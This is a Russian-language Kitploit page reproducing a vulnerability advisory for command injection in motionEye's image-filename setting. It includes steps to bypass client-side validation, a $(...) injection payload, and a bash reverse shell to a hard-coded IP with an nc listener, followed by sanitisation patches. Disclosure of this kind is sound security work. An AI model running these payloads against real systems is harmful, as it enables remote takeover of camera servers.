Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
motionEye-RCE-through-config-parameter — Шаги PoC для этой уязвимости | Kitploit
Инструменты/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

Шаги PoC для этой уязвимости

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2110 месяцев назадЕщё не проверено

MotionEye: RCE через обход валидации на стороне клиента

Краткое описание

В ходе тестирования безопасности экземпляра MotionEye, работающего в Docker, было обнаружено, что валидацию на стороне клиента в веб-интерфейсе можно обойти. Это позволяет отправлять произвольные данные, включая полезные нагрузки, способные вызвать выполнение кода в контейнере хоста. Проблема создаёт риск удалённого выполнения кода (RCE) при эксплуатации.

Затронутые версии: все версии вплоть до 0.43.1b4 включительно
Статус исправления: исправление ещё не доступно. В этом бюллетене приведён обходной путь.
Ссылка на проект: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Окружение

  • Цель: MotionEye, запущенный в Docker
  • Образ: ghcr.io/motioneye-project/motioneye:edge
  • Открытый порт: 9999, проброшенный на порт контейнера 8765
  • Тестовые учётные данные: admin / пустой пароль (по умолчанию)

Шаги воспроизведения

1. Настройка контейнера

Выполните следующую команду, чтобы начать загрузку Docker-образа и запустить контейнер

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
изображение

2. Проверка версии

root@kitploit:~
docker logs motioneye | grep "motionEye server"

Результат: сервер MotionEye 0.43.1b4 изображение

3. Доступ к файловой системе

После запуска Docker-контейнера доступ к его оболочке можно получить с помощью следующих команд

root@kitploit:~
docker exec -it motioneye /bin/bash
ls -la /tmp
изображение

4. Первоначальный доступ

Откройте веб-интерфейс по адресу:
http://127.0.0.1:9999
Логин: admin (пустой пароль)

5. Настройка камеры

Добавлена тестовая RTSP-сетевая камера.
изображение

6. Попытка инъекции

В поле «Still Images» > «Image File Name» была введена вредоносная команда выполнения, но возникла ошибка валидации на стороне клиента.

root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Заблокировано валидацией на стороне клиента.
изображение

изображение

7. Обнаружение валидации на стороне клиента

За валидацию отвечает следующий скрипт: /static/js/main.js?v=0.43.1b4, который ссылается на /static/js/ui.js?v=0.43.1b4 для реализации условий валидации.

Файл: /static/js/main.js?v=0.43.1b4 со ссылкой на /static/js/ui.js?v=0.43.1b4

root@kitploit:~
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Техника обхода

Переопределив функцию configUiValid в консоли браузера, можно обойти все проверки валидации. Введите следующий фрагмент в консоль браузера (F12 или Ctrl+Shift+I)

root@kitploit:~
configUiValid = function() { 
    return true; 
};
изображение

9. Выполнение полезной нагрузки

Теперь полезную нагрузку можно вводить напрямую, без какой-либо валидации: задайте значения как указано ниже и примените настройки

Настройки:

  • Режим захвата = Interval Snapshots
  • Интервал = 10
  • Имя файла изображения:
root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
изображение

Применено → файл создан с правами root.

изображение

Воздействие: превращение в RCE

простая генерация обратной оболочки (reverse shell):

Прослушиватель:

root@kitploit:~
nc -lvnp 4444
изображение

Внедрённая полезная нагрузка:

root@kitploit:~
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
изображение

Результат: получена удалённая оболочка.


Корневая причина и поток выполнения

MotionEye уязвим, потому что принимает пользовательский ввод из веб-панели и записывает его напрямую в конфигурационные файлы Motion без проверки на опасные символы. Например, поле image_file_name в интерфейсе отправляется в бэкенд (config.py) и сохраняется в /etc/motioneye/camera-.conf. Когда MotionEye перезапускает службу Motion (motionctl.start), процесс Motion читает этот конфигурационный файл. Если поле picture_filename содержит shell-синтаксис, например $(touch /tmp/test), Motion выполнит его как настоящую команду вместо того, чтобы рассматривать как часть имени файла.

Несанитизированный ввод, записываемый в конфигурационные файлы Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


Предотвращение

Исправление с помощью санитизации

Файл: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

root@kitploit:~
def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
изображение

Примените санитизацию:

root@kitploit:~
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

до: изображение после: изображение


Альтернативное решение

Шаг 1: Запустите Docker

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

Шаг 2: Доступ к контейнеру

root@kitploit:~
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py

Шаг 3: Измените конфигурацию

Оригинал:

root@kitploit:~
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]

Замените на:

root@kitploit:~
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
изображение

Шаг 4: Перезапуск

root@kitploit:~
docker restart motioneye
изображение

Альтернативный патч

Внутри motion_camera_ui_to_dict(...):

Оригинал:

root@kitploit:~
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']

Замените на:

root@kitploit:~
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')

Скачать инструмент